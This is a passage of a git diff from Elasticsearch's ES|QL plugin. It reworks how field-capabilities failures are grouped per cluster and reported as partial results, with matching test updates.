 import java.util.Collection;
@@ -363,6 +365,10 @@ public void testFailOnUnavailableShards() throws Exception {
                 syncEsqlQueryRequest().query("from events,logs | KEEP timestamp,message").allowPartialResults(true)
             )
         ) {
+            assertTrue(resp.isPartial());
+            EsqlExecutionInfo.Cluster local = resp.getExecutionInfo().getCluster(RemoteClusterAware.LOCAL_CLUSTER_GROUP_KEY);
+            assertThat(local.getFailures(), hasSize(1));
+            assertThat(local.getFailures().get(0).reason(), containsString("index [logs] has no active shard copy"));
             assertThat(getValuesList(resp), hasSize(3));
         }
     }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlExecutionInfo.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlExecutionInfo.java
index 55c36aa1cf353..61d0d3b0e1026 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlExecutionInfo.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlExecutionInfo.java
@@ -28,6 +28,7 @@
 import org.elasticsearch.xcontent.XContentBuilder;
 
 import java.io.IOException;
+import java.util.ArrayList;
 import java.util.Collections;
 import java.util.EnumMap;
 import java.util.Iterator;
@@ -562,8 +563,14 @@ public Cluster.Builder setFailedShards(int failedShards) {
                 return this;
             }
 
-            public Cluster.Builder setFailures(List<ShardSearchFailure> failures) {
-                this.failures = failures;
+            public Cluster.Builder addFailures(List<ShardSearchFailure> failures) {
+                if (failures.isEmpty()) {
+                    return this;
+                }
+                if (this.failures == null) {
+                    this.failures = new ArrayList<>(original.failures);
+                }
+                this.failures.addAll(failures);
                 return this;
             }
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/index/IndexResolution.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/index/IndexResolution.java
index b9040d2ef40d6..4d31f48da77de 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/index/IndexResolution.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/index/IndexResolution.java
@@ -6,10 +6,10 @@
  */
 package org.elasticsearch.xpack.esql.index;
 
-import org.elasticsearch.action.NoShardAvailableActionException;
 import org.elasticsearch.action.fieldcaps.FieldCapabilitiesFailure;
 import org.elasticsearch.core.Nullable;
 
+import java.util.List;
 import java.util.Map;
 import java.util.Objects;
 import java.util.Set;
@@ -19,33 +19,26 @@ public final class IndexResolution {
     /**
      * @param index EsIndex encapsulating requested index expression, resolved mappings and index modes from field-caps.
      * @param resolvedIndices Set of concrete indices resolved by field-caps. (This information is not always present in the EsIndex).
-     * @param unavailableShards Set of shards that were unavailable during index resolution
-     * @param unavailableClusters Remote clusters that could not be contacted during planning
+     * @param failures failures occurred during field-caps.
      * @return valid IndexResolution
      */
-    public static IndexResolution valid(
-        EsIndex index,
-        Set<String> resolvedIndices,
-        Set<NoShardAvailableActionException> unavailableShards,
-        Map<String, FieldCapabilitiesFailure> unavailableClusters
-    ) {
+    public static IndexResolution valid(EsIndex index, Set<String> resolvedIndices, Map<String, List<FieldCapabilitiesFailure>> failures) {
         Objects.requireNonNull(index, "index must not be null if it was found");
         Objects.requireNonNull(resolvedIndices, "resolvedIndices must not be null");
-        Objects.requireNonNull(unavailableShards, "unavailableShards must not be null");
-        Objects.requireNonNull(unavailableClusters, "unavailableClusters must not be null");
-        return new IndexResolution(index, null, resolvedIndices, unavailableShards, unavailableClusters);
+        Objects.requireNonNull(failures, "failures must not be null");
+        return new IndexResolution(index, null, resolvedIndices, failures);
     }
 
     /**
      * Use this method only if the set of concrete resolved indices is the same as EsIndex#concreteIndices().
      */
     public static IndexResolution valid(EsIndex index) {
-        return valid(index, index.concreteIndices(), Set.of(), Map.of());
+        return valid(index, index.concreteIndices(), Map.of());
     }
 
     public static IndexResolution invalid(String invalid) {
         Objects.requireNonNull(invalid, "invalid must not be null to signal that the index is invalid");
-        return new IndexResolution(null, invalid, Set.of(), Set.of(), Map.of());
+        return new IndexResolution(null, invalid, Set.of(), Map.of());
     }
 
     public static IndexResolution notFound(String name) {
@@ -59,22 +52,19 @@ public static IndexResolution notFound(String name) {
 
     // all indices found by field-caps
     private final Set<String> resolvedIndices;
-    private final Set<NoShardAvailableActionException> unavailableShards;
-    // remote clusters included in the user's index expression that could not be connected to
-    private final Map<String, FieldCapabilitiesFailure> unavailableClusters;
+    // map from cluster alias to failures that occurred during field-caps.
+    private final Map<String, List<FieldCapabilitiesFailure>> failures;
 
     private IndexResolution(
         EsIndex index,
         @Nullable String invalid,
         Set<String> resolvedIndices,
-        Set<NoShardAvailableActionException> unavailableShards,
-        Map<String, FieldCapabilitiesFailure> unavailableClusters
+        Map<String, List<FieldCapabilitiesFailure>> failures
     ) {
         this.index = index;
         this.invalid = invalid;
         this.resolvedIndices = resolvedIndices;
-        this.unavailableShards = unavailableShards;
-        this.unavailableClusters = unavailableClusters;
+        this.failures = failures;
     }
 
     public boolean matches(String indexName) {
@@ -101,11 +91,10 @@ public boolean isValid() {
     }
 
     /**
-     * @return Map of unavailable clusters (could not be connected to during field-caps query). Key of map is cluster alias,
-     * value is the {@link FieldCapabilitiesFailure} describing the issue.
+     * @return Map from cluster alias to failures that occurred during field-caps.
      */
-    public Map<String, FieldCapabilitiesFailure> unavailableClusters() {
-        return unavailableClusters;
+    public Map<String, List<FieldCapabilitiesFailure>> failures() {
+        return failures;
     }
 
     /**
@@ -115,13 +104,6 @@ public Set<String> resolvedIndices() {
         return resolvedIndices;
     }
 
-    /**
-     * @return set of unavailable shards during index resolution
-     */
-    public Set<NoShardAvailableActionException> getUnavailableShards() {
-        return unavailableShards;
-    }
-
     @Override
     public boolean equals(Object obj) {
         if (obj == null || obj.getClass() != getClass()) {
@@ -131,12 +113,12 @@ public boolean equals(Object obj) {
         return Objects.equals(index, other.index)
             && Objects.equals(invalid, other.invalid)
             && Objects.equals(resolvedIndices, other.resolvedIndices)
-            && Objects.equals(unavailableClusters, other.unavailableClusters);
+            && Objects.equals(failures, other.failures);
     }
 
     @Override
     public int hashCode() {
-        return Objects.hash(index, invalid, resolvedIndices, unavailableClusters);
+        return Objects.hash(index, invalid, resolvedIndices, failures);
     }
 
     @Override
@@ -152,7 +134,7 @@ public String toString() {
                 + ", resolvedIndices="
                 + resolvedIndices
                 + ", unavailableClusters="
-                + unavailableClusters
+                + failures
                 + '}';
     }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ClusterComputeHandler.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ClusterComputeHandler.java
index 5064b2bbd101a..4e8a89d024b71 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ClusterComputeHandler.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ClusterComputeHandler.java
@@ -166,7 +166,7 @@ private void updateExecutionInfo(EsqlExecutionInfo executionInfo, String cluster
                 builder.setTook(executionInfo.tookSoFar());
             }
             if (v.getStatus() == EsqlExecutionInfo.Cluster.Status.RUNNING) {
-                builder.setFailures(resp.failures);
+                builder.addFailures(resp.failures);
                 if (executionInfo.isStopped() || resp.failedShards > 0 || resp.failures.isEmpty() == false) {
                     builder.setStatus(EsqlExecutionInfo.Cluster.Status.PARTIAL);
                 } else {
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
index 39e3503b5fdd9..4c13eb384924e 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
@@ -395,9 +395,13 @@ public void executePlan(
                                     var builder = new EsqlExecutionInfo.Cluster.Builder(v).setTook(tookTime);
                                     if (v.getStatus() == EsqlExecutionInfo.Cluster.Status.RUNNING) {
                                         final Integer failedShards = execInfo.getCluster(LOCAL_CLUSTER).getFailedShards();
-                                        var status = localClusterWasInterrupted.get() || (failedShards != null && failedShards > 0)
-                                            ? EsqlExecutionInfo.Cluster.Status.PARTIAL
-                                            : EsqlExecutionInfo.Cluster.Status.SUCCESSFUL;
+                                        // Set the local cluster status (including the final driver) to partial if the query was stopped
+                                        // or encountered resolution or execution failures.
+                                        var status = localClusterWasInterrupted.get()
+                                            || (failedShards != null && failedShards > 0)
+                                            || v.getFailures().isEmpty() == false
+                                                ? EsqlExecutionInfo.Cluster.Status.PARTIAL
+                                                : EsqlExecutionInfo.Cluster.Status.SUCCESSFUL;
                                         builder.setStatus(status);
                                     }
                                     return builder.build();
@@ -445,7 +449,7 @@ public void executePlan(
                                         .setSuccessfulShards(r.getSuccessfulShards())
                                         .setSkippedShards(r.getSkippedShards())
                                         .setFailedShards(r.getFailedShards())
-                                        .setFailures(r.failures)
+                                        .addFailures(r.failures)
                                         .build()
                                 );
                                 dataNodesListener.onResponse(r.getCompletionInfo());
@@ -455,7 +459,7 @@ public void executePlan(
                                         LOCAL_CLUSTER,
                                         (k, v) -> new EsqlExecutionInfo.Cluster.Builder(v).setStatus(
                                             EsqlExecutionInfo.Cluster.Status.PARTIAL
-                                        ).setFailures(List.of(new ShardSearchFailure(e))).build()
+                                        ).addFailures(List.of(new ShardSearchFailure(e))).build()
                                     );
                                     dataNodesListener.onResponse(DriverCompletionInfo.EMPTY);
                                 } else {
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
index d507b8275178d..4b25ddfdfc2db 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
@@ -15,7 +15,6 @@
 import org.elasticsearch.action.search.ShardSearchFailure;
 import org.elasticsearch.action.support.IndicesOptions;
 import org.elasticsearch.common.Strings;
-import org.elasticsearch.common.util.set.Sets;
 import org.elasticsearch.compute.operator.DriverCompletionInfo;
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.index.IndexNotFoundException;
@@ -35,6 +34,7 @@
 import org.elasticsearch.xpack.esql.plan.IndexPattern;
 import org.elasticsearch.xpack.esql.plan.logical.LogicalPlan;
 
+import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
@@ -47,15 +47,23 @@ public class EsqlCCSUtils {
 
     private EsqlCCSUtils() {}
 
-    static Map<String, FieldCapabilitiesFailure> determineUnavailableRemoteClusters(List<FieldCapabilitiesFailure> failures) {
-        Map<String, FieldCapabilitiesFailure> unavailableRemotes = new HashMap<>();
+    static Map<String, List<FieldCapabilitiesFailure>> groupFailuresPerCluster(List<FieldCapabilitiesFailure> failures) {
+        Map<String, List<FieldCapabilitiesFailure>> perCluster = new HashMap<>();
         for (FieldCapabilitiesFailure failure : failures) {
-            if (ExceptionsHelper.isRemoteUnavailableException(failure.getException())) {
-                for (String indexExpression : failure.getIndices()) {
-                    if (indexExpression.indexOf(RemoteClusterAware.REMOTE_CLUSTER_INDEX_SEPARATOR) > 0) {
-                        unavailableRemotes.put(RemoteClusterAware.parseClusterAlias(indexExpression), failure);
-                    }
-                }
+            String cluster = RemoteClusterAware.parseClusterAlias(failure.getIndices()[0]);
+            perCluster.computeIfAbsent(cluster, k -> new ArrayList<>()).add(failure);
+        }
+        return perCluster;
+    }
+
+    static Map<String, FieldCapabilitiesFailure> determineUnavailableRemoteClusters(Map<String, List<FieldCapabilitiesFailure>> failures) {
+        Map<String, FieldCapabilitiesFailure> unavailableRemotes = new HashMap<>(failures.size());
+        for (var e : failures.entrySet()) {
+            if (Strings.isEmpty(e.getKey())) {
+                continue;
+            }
+            if (e.getValue().stream().allMatch(f -> ExceptionsHelper.isRemoteUnavailableException(f.getException()))) {
+                unavailableRemotes.put(e.getKey(), e.getValue().get(0));
             }
         }
         return unavailableRemotes;
@@ -136,8 +144,8 @@ static void updateExecutionInfoToReturnEmptyResult(EsqlExecutionInfo executionIn
                 } else {
                     builder.setStatus(EsqlExecutionInfo.Cluster.Status.SKIPPED);
                     // add this exception to the failures list only if there is no failure already recorded there
-                    if (v.getFailures() == null || v.getFailures().size() == 0) {
-                        builder.setFailures(List.of(new ShardSearchFailure(exceptionForResponse)));
+                    if (v.getFailures().isEmpty()) {
+                        builder.addFailures(List.of(new ShardSearchFailure(exceptionForResponse)));
                     }
                 }
                 return builder.build();
@@ -188,18 +196,15 @@ static void updateExecutionInfoWithUnavailableClusters(EsqlExecutionInfo execInf
     static void updateExecutionInfoWithClustersWithNoMatchingIndices(
         EsqlExecutionInfo executionInfo,
         IndexResolution indexResolution,
+        Set<String> unavailableClusters,
         QueryBuilder filter
     ) {
-        Set<String> clustersWithResolvedIndices = new HashSet<>();
-        // determine missing clusters
+        final Set<String> clustersWithNoMatchingIndices = new HashSet<>(executionInfo.clusterAliases());
         for (String indexName : indexResolution.resolvedIndices()) {
-            clustersWithResolvedIndices.add(RemoteClusterAware.parseClusterAlias(indexName));
+            clustersWithNoMatchingIndices.remove(RemoteClusterAware.parseClusterAlias(indexName));
         }
-        Set<String> clustersRequested = executionInfo.clusterAliases();
-        Set<String> clustersWithNoMatchingIndices = Sets.difference(clustersRequested, clustersWithResolvedIndices);
-        clustersWithNoMatchingIndices.removeAll(indexResolution.unavailableClusters().keySet());
-
-        /**
+        clustersWithNoMatchingIndices.removeAll(unavailableClusters);
+        /*
          * Rules enforced at planning time around non-matching indices
          * 1. fail query if no matching indices on any cluster (VerificationException) - that is handled elsewhere
          * 2. fail query if a cluster has no matching indices *and* a concrete index was specified - handled here
@@ -238,10 +243,22 @@ static void updateExecutionInfoWithClustersWithNoMatchingIndices(
                     );
                 }
             } else {
+                // We check for the valid resolution because if we have empty resolution it's still an error.
                 if (indexResolution.isValid()) {
-                    // no matching indices and no concrete index requested - just mark it as done, no error
-                    // We check for the valid resolution because if we have empty resolution it's still an error.
-                    markClusterWithFinalStateAndNoShards(executionInfo, c, Cluster.Status.SUCCESSFUL, null);
+                    List<FieldCapabilitiesFailure> failures = indexResolution.failures().getOrDefault(c, List.of());
+                    // No matching indices, no concrete index requested, and no error in field-caps; just mark as done.
+                    if (failures.isEmpty()) {
+                        markClusterWithFinalStateAndNoShards(executionInfo, c, Cluster.Status.SUCCESSFUL, null);
+                    } else {
+                        // skip reporting index_not_found exceptions to avoid spamming users with such errors
+                        // when queries use a remote cluster wildcard, e.g., `*:my-logs*`.
+                        Exception nonIndexNotFound = failures.stream()
+                            .map(FieldCapabilitiesFailure::getException)
+                            .filter(ex -> ExceptionsHelper.unwrap(ex, IndexNotFoundException.class) == null)
+                            .findAny()
+                            .orElse(null);
+                        markClusterWithFinalStateAndNoShards(executionInfo, c, Cluster.Status.SKIPPED, nonIndexNotFound);
+                    }
                 }
             }
         }
@@ -252,7 +269,8 @@ static void updateExecutionInfoWithClustersWithNoMatchingIndices(
 
     // Filter-less version, mainly for testing where we don't need filter support
     static void updateExecutionInfoWithClustersWithNoMatchingIndices(EsqlExecutionInfo executionInfo, IndexResolution indexResolution) {
-        updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution, null);
+        var unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(indexResolution.failures()).keySet();
+        updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution, unavailableClusters, null);
     }
 
     // visible for testing
@@ -360,7 +378,7 @@ public static void markClusterWithFinalStateAndNoShards(
                 .setSkippedShards(Objects.requireNonNullElse(v.getSkippedShards(), 0))
                 .setFailedShards(Objects.requireNonNullElse(v.getFailedShards(), 0));
             if (ex != null) {
-                builder.setFailures(List.of(new ShardSearchFailure(ex)));
+                builder.addFailures(List.of(new ShardSearchFailure(ex)));
             }
             return builder.build();
         });
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
index d148f7f4db73c..dde54bccf2da4 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
@@ -7,8 +7,12 @@
 
 package org.elasticsearch.xpack.esql.session;
 
+import org.elasticsearch.ElasticsearchException;
+import org.elasticsearch.ExceptionsHelper;
 import org.elasticsearch.action.ActionListener;
 import org.elasticsearch.action.OriginalIndices;
+import org.elasticsearch.action.fieldcaps.FieldCapabilitiesFailure;
+import org.elasticsearch.action.search.ShardSearchFailure;
 import org.elasticsearch.action.support.IndicesOptions;
 import org.elasticsearch.action.support.SubscribableListener;
 import org.elasticsearch.common.Strings;
@@ -19,15 +23,19 @@
 import org.elasticsearch.compute.data.BlockUtils;
 import org.elasticsearch.compute.data.Page;
 import org.elasticsearch.compute.operator.DriverCompletionInfo;
+import org.elasticsearch.compute.operator.FailureCollector;
+import org.elasticsearch.core.CheckedFunction;
 import org.elasticsearch.core.Releasables;
 import org.elasticsearch.index.IndexMode;
 import org.elasticsearch.index.mapper.IndexModeFieldMapper;
 import org.elasticsearch.index.query.BoolQueryBuilder;
 import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.index.query.TermQueryBuilder;
+import org.elasticsearch.index.shard.ShardId;
 import org.elasticsearch.indices.IndicesExpressionGrouper;
 import org.elasticsearch.logging.LogManager;
 import org.elasticsearch.logging.Logger;
+import org.elasticsearch.search.SearchShardTarget;
 import org.elasticsearch.xpack.esql.VerificationException;
 import org.elasticsearch.xpack.esql.action.EsqlExecutionInfo;
 import org.elasticsearch.xpack.esql.action.EsqlQueryRequest;
@@ -108,7 +116,6 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
-import java.util.function.Function;
 import java.util.stream.Collectors;
 
 import static org.elasticsearch.index.query.QueryBuilders.boolQuery;
@@ -331,6 +338,53 @@ private LogicalPlan parse(String query, QueryParams params) {
         return parsed;
     }
 
+    /**
+     * Associates errors that occurred during field-caps with the cluster info in the execution info.
+     * - Skips clusters that are no longer running, as they have already been marked as successful, skipped, or failed.
+     * - If allow_partial_results or skip_unavailable is enabled, stores the failures in the cluster info but allows execution to continue.
+     * - Otherwise, aborts execution with the failures.
+     */
+    static void handleFieldCapsFailures(
+        boolean allowPartialResults,
+        EsqlExecutionInfo executionInfo,
+        Map<String, List<FieldCapabilitiesFailure>> failures
+    ) throws Exception {
+        FailureCollector failureCollector = new FailureCollector();
+        for (var e : failures.entrySet()) {
+            String clusterAlias = e.getKey();
+            EsqlExecutionInfo.Cluster cluster = executionInfo.getCluster(clusterAlias);
+            if (cluster.getStatus() != EsqlExecutionInfo.Cluster.Status.RUNNING) {
+                assert cluster.getStatus() != EsqlExecutionInfo.Cluster.Status.SUCCESSFUL : "can't mark a cluster success with failures";
+                continue;
+            }
+            if (allowPartialResults == false && executionInfo.isSkipUnavailable(clusterAlias) == false) {
+                for (FieldCapabilitiesFailure failure : e.getValue()) {
+                    failureCollector.unwrapAndCollect(failure.getException());
+                }
+            } else if (cluster.getFailures().isEmpty()) {
+                var shardFailures = e.getValue().stream().map(f -> {
+                    ShardId shardId = null;
+                    if (ExceptionsHelper.unwrapCause(f.getException()) instanceof ElasticsearchException es) {
+                        shardId = es.getShardId();
+                    }
+                    if (shardId != null) {
+                        return new ShardSearchFailure(f.getException(), new SearchShardTarget(null, shardId, clusterAlias));
+                    } else {
+                        return new ShardSearchFailure(f.getException());
+                    }
+                }).toList();
+                executionInfo.swapCluster(
+                    clusterAlias,
+                    (k, curr) -> new EsqlExecutionInfo.Cluster.Builder(cluster).addFailures(shardFailures).build()
+                );
+            }
+        }
+        Exception failure = failureCollector.getFailure();
+        if (failure != null) {
+            throw failure;
+        }
+    }
+
     public void analyzedPlan(
         LogicalPlan parsed,
         EsqlExecutionInfo executionInfo,
@@ -342,7 +396,8 @@ public void analyzedPlan(
             return;
         }
 
-        Function<PreAnalysisResult, LogicalPlan> analyzeAction = (l) -> {
+        CheckedFunction<PreAnalysisResult, LogicalPlan, Exception> analyzeAction = (l) -> {
+            handleFieldCapsFailures(configuration.allowPartialResults(), executionInfo, l.indices.failures());
             Analyzer analyzer = new Analyzer(
                 new AnalyzerContext(configuration, functionRegistry, l.indices, l.lookupIndices, l.enrichResolution, l.inferenceResolution),
                 verifier
@@ -402,8 +457,14 @@ public void analyzedPlan(
             try {
                 // the order here is tricky - if the cluster has been filtered and later became unavailable,
                 // do we want to declare it successful or skipped? For now, unavailability takes precedence.
-                EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, result.indices.unavailableClusters());
-                EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, result.indices, null);
+                var unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(result.indices.failures());
+                EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, unavailableClusters);
+                EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(
+                    executionInfo,
+                    result.indices,
+                    unavailableClusters.keySet(),
+                    null
+                );
                 plan = analyzeAction.apply(result);
             } catch (Exception e) {
                 l.onFailure(e);
@@ -485,11 +546,7 @@ private void preAnalyzeMainIndices(
                     result.fieldNames,
                     requestFilter,
                     listener.delegateFailure((l, indexResolution) -> {
-                        if (configuration.allowPartialResults() == false && indexResolution.getUnavailableShards().isEmpty() == false) {
-                            l.onFailure(indexResolution.getUnavailableShards().iterator().next());
-                        } else {
-                            l.onResponse(result.withIndexResolution(indexResolution));
-                        }
+                        l.onResponse(result.withIndexResolution(indexResolution));
                     })
                 );
             }
@@ -514,7 +571,10 @@ private boolean allCCSClustersSkipped(
         ActionListener<LogicalPlan> logicalPlanListener
     ) {
         IndexResolution indexResolution = result.indices;
-        EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, indexResolution.unavailableClusters());
+        EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(
+            executionInfo,
+            EsqlCCSUtils.determineUnavailableRemoteClusters(indexResolution.failures())
+        );
         if (executionInfo.isCrossClusterSearch()
             && executionInfo.getClusterStates(EsqlExecutionInfo.Cluster.Status.RUNNING).findAny().isEmpty()) {
             // for a CCS, if all clusters have been marked as SKIPPED, nothing to search so send a sentinel Exception
@@ -528,7 +588,7 @@ private boolean allCCSClustersSkipped(
     }
 
     private static void analyzeAndMaybeRetry(
-        Function<PreAnalysisResult, LogicalPlan> analyzeAction,
+        CheckedFunction<PreAnalysisResult, LogicalPlan, Exception> analyzeAction,
         QueryBuilder requestFilter,
         PreAnalysisResult result,
         EsqlExecutionInfo executionInfo,
@@ -544,7 +604,13 @@ private static void analyzeAndMaybeRetry(
             if (result.indices.isValid() || requestFilter != null) {
                 // We won't run this check with no filter and no valid indices since this may lead to false positive - missing index report
                 // when the resolution result is not valid for a different reason.
-                EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, result.indices, requestFilter);
+                var unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(result.indices.failures()).keySet();
+                EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(
+                    executionInfo,
+                    result.indices,
+                    unavailableClusters,
+                    requestFilter
+                );
             }
             plan = analyzeAction.apply(result);
         } catch (Exception e) {
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/IndexResolver.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/IndexResolver.java
index d2f79ceb1316f..16401574b0f58 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/IndexResolver.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/IndexResolver.java
@@ -7,8 +7,6 @@
 package org.elasticsearch.xpack.esql.session;
 
 import org.elasticsearch.action.ActionListener;
-import org.elasticsearch.action.NoShardAvailableActionException;
-import org.elasticsearch.action.fieldcaps.FieldCapabilitiesFailure;
 import org.elasticsearch.action.fieldcaps.FieldCapabilitiesIndexResponse;
 import org.elasticsearch.action.fieldcaps.FieldCapabilitiesRequest;
 import org.elasticsearch.action.fieldcaps.FieldCapabilitiesResponse;
@@ -149,17 +147,6 @@ public static IndexResolution mergedMappings(String indexPattern, FieldCapabilit
             }
         }
 
-        Map<String, FieldCapabilitiesFailure> unavailableRemotes = EsqlCCSUtils.determineUnavailableRemoteClusters(
-            fieldCapsResponse.getFailures()
-        );
-
-        Set<NoShardAvailableActionException> unavailableShards = new HashSet<>();
-        for (FieldCapabilitiesFailure failure : fieldCapsResponse.getFailures()) {
-            if (failure.getException() instanceof NoShardAvailableActionException e) {
-                unavailableShards.add(e);
-            }
-        }
-
         Map<String, IndexMode> concreteIndices = Maps.newMapWithExpectedSize(fieldCapsResponse.getIndexResponses().size());
         for (FieldCapabilitiesIndexResponse ir : fieldCapsResponse.getIndexResponses()) {
             concreteIndices.put(ir.getIndexName(), ir.getIndexMode());
@@ -171,7 +158,8 @@ public static IndexResolution mergedMappings(String indexPattern, FieldCapabilit
         }
         // If all the mappings are empty we return an empty set of resolved indices to line up with QL
         var index = new EsIndex(indexPattern, rootFields, allEmpty ? Map.of() : concreteIndices, partiallyUnmappedFields);
-        return IndexResolution.valid(index, concreteIndices.keySet(), unavailableShards, unavailableRemotes);
+        var failures = EsqlCCSUtils.groupFailuresPerCluster(fieldCapsResponse.getFailures());
+        return IndexResolution.valid(index, concreteIndices.keySet(), failures);
     }
 
     private static Map<String, List<IndexFieldCapabilities>> collectFieldCaps(FieldCapabilitiesResponse fieldCapsResponse) {
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/action/EsqlExecutionInfoTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/action/EsqlExecutionInfoTests.java
index 111d86669af22..19899e62ca057 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/action/EsqlExecutionInfoTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/action/EsqlExecutionInfoTests.java
@@ -57,7 +57,7 @@ public void testHasMetadataPartial() {
         assertFalse(info.hasMetadataToReport());
         info.swapCluster(key, (k, v) -> {
             EsqlExecutionInfo.Cluster.Builder builder = new EsqlExecutionInfo.Cluster.Builder(v);
-            builder.setFailures(List.of(new ShardSearchFailure(new IllegalStateException("shard failure"))));
+            builder.addFailures(List.of(new ShardSearchFailure(new IllegalStateException("shard failure"))));
             return builder.build();
         });
         assertTrue(info.hasMetadataToReport());
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtilsTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtilsTests.java
index 2d488d7e41ee8..a3d719cf91276 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtilsTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtilsTests.java
@@ -253,7 +253,7 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
                 )
             );
 
-            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), Set.of(), Map.of());
+            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), Map.of());
 
             EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution);
 
@@ -296,8 +296,7 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
                     IndexMode.STANDARD
                 )
             );
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = Map.of();
-            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), Set.of(), unavailableClusters);
+            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), Map.of());
 
             EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution);
 
@@ -338,8 +337,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
             );
             // remote1 is unavailable
             var failure = new FieldCapabilitiesFailure(new String[] { "logs-a" }, new NoSeedNodeLeftException("unable to connect"));
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = Map.of(REMOTE1_ALIAS, failure);
-            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), Set.of(), unavailableClusters);
+            var unavailableClusters = Map.of(REMOTE1_ALIAS, List.of(failure));
+            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), unavailableClusters);
 
             EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution);
 
@@ -381,8 +380,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
             );
 
             var failure = new FieldCapabilitiesFailure(new String[] { "logs-a" }, new NoSeedNodeLeftException("unable to connect"));
-            Map<String, FieldCapabilitiesFailure> unavailableClusters = Map.of(REMOTE1_ALIAS, failure);
-            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), Set.of(), unavailableClusters);
+            var unavailableClusters = Map.of(REMOTE1_ALIAS, List.of(failure));
+            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), unavailableClusters);
